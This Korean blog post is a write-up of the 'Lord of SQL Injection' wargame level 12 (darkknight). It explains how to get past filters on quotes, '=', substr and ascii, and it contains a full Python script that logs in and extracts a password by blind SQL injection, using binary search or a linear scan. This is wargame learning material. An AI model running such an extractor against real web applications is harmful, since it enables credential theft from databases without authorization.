Dork's port

LOS 12번 DARKKNIGHT 본문

Lord Of Sql injection

LOS 12번 DARKKNIGHT

Dork94 2019. 1. 12. 06:08

이번 문제는 ', =, substr, ascii에 대한 filter문제이다.




그래서 이전에 했던 것 처럼 =대신 LIKE를 사용하였다. 그리고 문자열 admin으로 만들어 주기 위해서 'admin'이 되어야 하나 filter가 적용되어있어, CHAR()함수를 쓰지 못하는 줄알았더니 자세히 보니 ()안에 아무것도 없으면 filter가 적용되는 것이였다. 이미 적어놓았으니 사용하기로 했다.


따라서 아래와 같이 pwning_url을 작성할 수 있었다. 뒤에 주석은 불필요하다! 



중요한건 ASCII의 escape인데 내 코드에서 ASCII를 쓴 이유는 이전에도 언급했던  2019/01/12 - [Lord Of Sql injection] - LOS 4번의 코드를 사용하도록 하자.


그런데 가장 문제는 ASCII사용이 안된 다는 것이다. 


코드에는 ASCII를 사용하고 있는데 그 이유는 mysql에서 문자 비교는 case insensitive 하기 때문에 char를 숫자로 변환하여 operator를 이용해 비교했었다.


대체할 뭔가 있는지 찾아보니 char -> ASCII code로 바꾸는 별도의 함수를 찾지 못했다.


Case sensitive 한 비교를 할 수 있는 함수를 찾아보니 BINARY가 있었다.


그래서 기존에 있던 코드를 수정했다.


원래는 General한 코드를 만들기 위해 git에 push 했는데 하다보니 높은 난이도가 gerneral한 방어기법이라고는 볼 수 없을 것 같아 문제마다 branch를 적용해 둘 걸 그랬다..


이미 늦었으니 패스 :) 



import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from getpass import getpass


def login(id, pw):
    url = 'https://los.rubiya.kr/?login'
    data = {'id': id, 'pw': pw}
    res = requests.post(url, data=data)

    if res.status_code != 200:
        print('Please check server status.')
        exit(1)
    if res.text.find('fail') != -1:
        print('Please check your id or pw')
        exit(1)

    print('Login Success!')
    return res.cookies.get_dict()


def get_length(pwning_url, field, add_comment, login_cookies):

    length = 1
    while True:
        print('Trying to get length of {0} by length {1}'.format(field, length))
        url = pwning_url + ' length({0}) LIKE {1} {2} '.format(field, length, '%23' if add_comment else '')
        res = requests.get(url, cookies=login_cookies)
        soup = BeautifulSoup(res.text, 'html.parser')
        h2s = soup.find_all('h2')
        for h2 in h2s:
            if h2.find('Hello') !=-1:
                return length

        length += 1


def do_blind_inject_divide(pwning_url, field, add_comment, login_cookies):

    pw = str()
    length = get_length(pwning_url, field, add_comment,login_cookies)
    idx = 1
    print('Success to get length {0} is {1} '.format(field, length))
    while idx <= length:
        print('Trying to get value index[{0}]'.format(idx))
        min_ascii = 32
        max_ascii = 127
        while True:
            # password must compare with int in mysql 'a' = 'A' is true
            url = pwning_url + ' CHAR({2}) < BINARY(RIGHT(LEFT({0},{1}),1)) {3} '.format(field, idx, int((min_ascii + max_ascii) / 2), '%23' if add_comment else '')
            res = requests.get(url, cookies=login_cookies)
            soup = BeautifulSoup(res.text, 'html.parser')
            h2s = soup.find_all('h2')

            if max_ascii == int((min_ascii + max_ascii) / 2) or min_ascii == int((min_ascii + max_ascii) / 2) :
                if not h2s:
                    pw += chr(int((min_ascii + max_ascii) / 2))
                if h2s:
                    pw += chr(int((min_ascii + max_ascii) / 2 + 1))
                break

            # if false
            if not h2s:
                max_ascii = int((min_ascii + max_ascii) / 2)
            else:
                min_ascii = int((min_ascii + max_ascii) / 2)
        idx += 1

    parsed_url = urlparse(pwning_url)
    origin_url = '{url.scheme}://{url.netloc}/{url.path}'.format(url=parsed_url)
    print('password is {0}'.format(pw))
    res = requests.get(origin_url, params={field: pw}, cookies=login_cookies)
    soup = BeautifulSoup(res.text, 'html.parser')
    h2s = soup.find_all('h2')
    if not h2s:
        print('Failed to clear! Plz check logic')
    else:
        for h2 in h2s:
            if h2.find('Clear') != -1:
                print('Success to clear this stage!')
                break




def do_blind_inject_linear(pwning_url, field, add_comment, login_cookies):

    pw = str()
    length = get_length(pwning_url, field, add_comment,login_cookies)
    idx = 1
    print('Success to get length {0} is {1} '.format(field, length))
    while idx <= length:
        print('Trying to get value index[{0}]'.format(idx))
        for i in range(32,127):
            url = pwning_url + ' CHAR({2}) LIKE BINARY(RIGHT(LEFT({0},{1}),1)) {3} '.format(field, idx, i, '%23' if add_comment else '')
            print(url)
            res = requests.get(url, cookies=login_cookies)
            soup = BeautifulSoup(res.text, 'html.parser')
            h2s = soup.find_all('h2')
            if h2s:
                pw += chr(i)
                break
        idx += 1

    parsed_url = urlparse(pwning_url)
    origin_url = '{url.scheme}://{url.netloc}/{url.path}'.format(url=parsed_url)
    print('password is {0}'.format(pw))
    res = requests.get(origin_url, params={field: pw}, cookies=login_cookies)
    soup = BeautifulSoup(res.text, 'html.parser')
    h2s = soup.find_all('h2')
    if not h2s:
        print('Failed to clear! Plz check logic')
    else:
        for h2 in h2s:
            if h2.find('Clear') != -1:
                print('Success to clear this stage!')
                break


if __name__ == '__main__':

    user_id = input('Enter your los id : ')
    # user_pw = getpass('Enter your los pw : ')
    user_pw = input('Enter your los pw : ')
    login_cookies = login(user_id, user_pw)

    pwning_url = input('Enter your pwning_url : ')

    # delete comment for query
    if pwning_url.find('%23') != -1:
        pwning_url = pwning_url[:pwning_url.find('%23')]

    field = input('Enter query name : ')
    while True:
        add_comment = input('Do you want to add comment end of the url[Y/N] ? ')
        if add_comment.lower() == 'y' or add_comment.lower() == 'n':
            break

    method = int(input('''Chosse 1 method
    1 : divide and conquer
    2 : linear 
    default : divide first and do linear'''))

    if method == 1:
        do_blind_inject_divide(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies)
    elif method == 2:
        do_blind_inject_linear(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies)
    else:
        do_blind_inject_divide(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies)
        do_blind_inject_linear(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies)





'Lord Of Sql injection' 카테고리의 다른 글

LOS 14번 GIANT  (0) 2019.01.12
LOS 13번 BUGBEAR  (0) 2019.01.12
LOS 11번 GOLEM  (0) 2019.01.12
LOS 10번 SKELETON  (0) 2019.01.12
LOS 9번 VAMPIRE  (0) 2019.01.12
Comments